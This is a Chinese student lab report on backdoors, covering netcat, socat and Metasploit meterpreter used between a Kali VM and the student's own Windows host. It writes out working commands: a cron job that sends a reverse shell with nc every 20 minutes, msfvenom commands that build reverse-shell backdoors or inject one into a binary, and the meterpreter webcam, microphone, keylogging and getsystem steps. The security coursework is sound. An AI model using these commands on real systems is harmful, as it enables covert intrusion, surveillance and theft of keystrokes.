一、实验内容
(一)主要内容
- 掌握后门核心原理。
- 学会如何设置后门,如netcat、socat、MSF meterpreter等工具的使用。
- 熟悉Linux与Windows系统的后门启动机制。
(二)回答问题
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
恶意软件捆绑。攻击者可能会将后门程序与常用软件捆绑,当用户下载安装这些软件时,后门程序也会被一同安装到系统中。
(2) 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows启动方式:通过Windows任务计划程序创建任务,设置后门脚本在用户登录或设定的时间自动执行。或者将后门注册为系统服务,以SYSTEM权限随系统启动运行。
- Linux启动方式:通过crontab -e配置定时任务,让后门脚本在指定时间自动运行。或者把后门命令加到
/etc/rc.local
或用户目录的.bashrc
等启动脚本中,系统或用户登录时自动运行。 - 通用:通过双击执行后门程序直接启动,虽然需要手动触发,但可通过社会工程学诱导用户。
(3) Meterpreter有哪些给你印象深刻的功能?
我对摄像头拍摄功能最感兴趣。通过webcam_snap
命令,攻击方可以直接拍摄被攻击主机的摄像头画面。而且,摄像头拍照非常迅速。本次实验里,我执行该条命令后来不及闪躲就被抓拍到,最后只能通过贴图保护隐私。整个操作完全是在被攻击主机的后台静默运行,虽然现在还会让摄像头的指示灯亮起来,但这个问题比较容易解决。被攻击方完全察觉不到自己的摄像头正在被调用。这让我直观感受到后门对个人隐私的威胁 ,以及这种监控手段的便捷性和隐蔽性。
(4) 如何发现自己有系统有没有被安装后门?
- 在任务管理器中检查是否无数字签名或占用大量资源的异常进程。
- 使用360等杀毒软件全盘扫描系统文件。
- 在任务计划程序等目录中查看是否有未知的启动项或定时任务。
- 查看系统日志、防火墙日志,排查是否有异常登录等情况。
二、实验过程
1. 使用netcat获取主机操作Shell,cron启动某项任务
(1)使用netcat获取主机操作Shell
先确认vmware虚拟机与本机联通。
本实验需要在本机上有natcat。我之前下载过nmap,因此捆绑下载了ncat.exe。
kali虚拟机的ip是192.168.29.134。
成功获取主机Shell,启动ls
。
从主机那边同样可以获取kali虚拟机的shell。
(2)通过cron定时将Shell控制权发送给本机
我希望能配置cron定时任务,让kali虚拟机在特定时间自动将Shell控制权发送给我的本机。
首先确认目标机已安装cron。
通过命令进入cron编辑界面,我选择了nano编辑器。
我加入*/20 * * * * /usr/bin/nc 192.168.29.1 4444 -e /bin/bash
。即设定为每20分钟就发送过去,没有日期的限制。192.168.29.1是我的本机IP。
通过crontab -l
命令,可见任务添加成功。
在我本机的电脑上提前启动监听,等待一段时间,成功获取shell,此处多的ls是之前还未连接上时我输入的。
2. 使用socat获取主机操作Shell
在本机下载socat,链接https://github.com/tech128/socat-1.7.3.0-windows。
通过在kali监听5555端口,成功获取windows的shell。
3. 使用MSF meterpreter生成后门,利用socat传送到主机并运行获取主机Shell
用此命令生成名为backdoorzxy_x64_new.exe
的Windows后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.134 LPORT=4444 -f exe > backdoorzxy_x64_new.exe
命令中的参数详解:
windows/meterpreter/reverse_tcp
:Windows系统的反向连接 payload(后门会主动连接Kali)。LHOST=192.168.29.134
:Kali的IP。LPORT=4444
:Kali的自定义监听端口。-f exe
:生成exe格式的可执行文件。> backdoorzxy_x64_new.exe
:保存在当前目录,名为backdoorzxy_x64_new.exe
。
因为我尝试了多次文件接收监听,每次本机收到的程序都是错误且不可执行的。所以最后用winscp把backdoorzxy_x64_new.exe
传到本机上。
在Kali终端启动msfconsole:
命令如下:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 注意payload要与64位后门匹配
set LHOST 192.168.29.134
set LPORT 4444
exploit
成功获取本机的shell,可以执行dir
命令。
4. 使用MSF meterpreter生成获取音频、摄像头、击键记录等内容的后门,并尝试提权。
通过如下命令生成后门:msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.29.134 \ LPORT=4444 \ -f exe -o monitor_backdoor.exe
。并将monitor_backdoor.exe
通过winscp传到本机。
控制目标主机摄像头拍摄照片。false
表示关闭详细输出模式,仅输出照片保存路径。
使用命令record_mic -d 5
保存5秒的录音。
录音存储在root
目录下。
使用keyscan_start
命令,在我的本机后台启动键盘监听,使用keyscan_dump
命令展示键盘记录。
使用getsystem
提权。本次我使用管理员权限运行后门文件,所以成功提权。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先,执行msfvenom -x /root/pwn1 -p linux/x86/shell_reverse_tcp LHOST=192.168.29.134 LPORT=4445 -f elf -o pwn1_backdoor
命令,其中-x
指定注入的原始文件pwn1
,-p
选择适配Linux32位系统的linux/x86/shell_reverse_tcp
payload,LHOST
和LPORT
分别设置为攻击机Kali的IP和监听端口,-f elf
指定输出格式为ELF可执行文件。
接着通过chmod +x pwn1_backdoor
赋予新文件执行权限。随后启动msfconsole
,配置exploit/multi/handler
模块,与之前任务设置相同,启动监听。
在本机运行pwn1_backdoor
后,攻击机即可获取反弹Shell。
三、问题与解决方案
问题1:socat找不到
解决方案:用完整路径可以找到。
问题2:后门程序被占用
解决方案:打开Windows任务管理器,寻找并关掉ncat.exe
。
问题3:后门程序无法在本机电脑上运行
我的后门程序是由监听传输到我的本机。起初我以为这个错误是因为我生成的后门程序是32位,而我的本机是64位系统,导致架构不匹配。但在反复确认后,我发现我的后门程序生成命令没有问题。
但是始终不能运行该后门程序,而且出现了很多奇怪的错误。
更让我惊讶的就是这个16位应用程序,即使是刚开始我编写的后门程序是32位通用的,也不应该出现16位的情况。
因为过于离谱,我开始排查各种原因。我已关掉了防火墙、病毒保护等防护软件,并以管理员身份运行该后门程序,重新用监听的方式传输后门程序,但都没有效果。
因此我怀疑是在传输过程中出现了问题,在kali机中确认后门程序是64位后,我发现本机电脑上的后门程序不能正常显示格式,所以怀疑是在传输的过程中出现问题。
解决方案:
当我用winscp把此文件转过去后,问题解决。
问题4:Meterpreter会话关闭,原因为“Died”
解决方案:参考毕悠尘同学的方法,进行kali机上的更新。
以及在本机上安装Visual C++ Redistributable的vcredist.x86.exe
,最终解决该问题。
问题5:不能显示键盘记录
解决方案:因为我的本机对键盘记录有防护,我一管理员权限运行后门程序后,即可获取到键盘记录。
四、学习感悟
本次实验还是很复杂的,出现16位应用程序报错时真的让人哭笑不得,不过确实能让人感受到网络攻防的魅力。哪怕是几乎没有什么基础的我们,在简单的培训后,都可以通过后门调用目标主机的摄像头,当代的监控的便捷性与隐蔽性令人感叹,也警示我们日后应该更加重视系统防护。
五、参考资料
- 0x11_MAL_逆向与Bof基础.md:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md
- 0x12_MAL_Shellcode基础.md:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Shellcode基础.md
- 0x13_MAL_使用netcat进行反弹链接的shellcode.md:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x13_MAL_使用netcat进行反弹链接的shellcode.md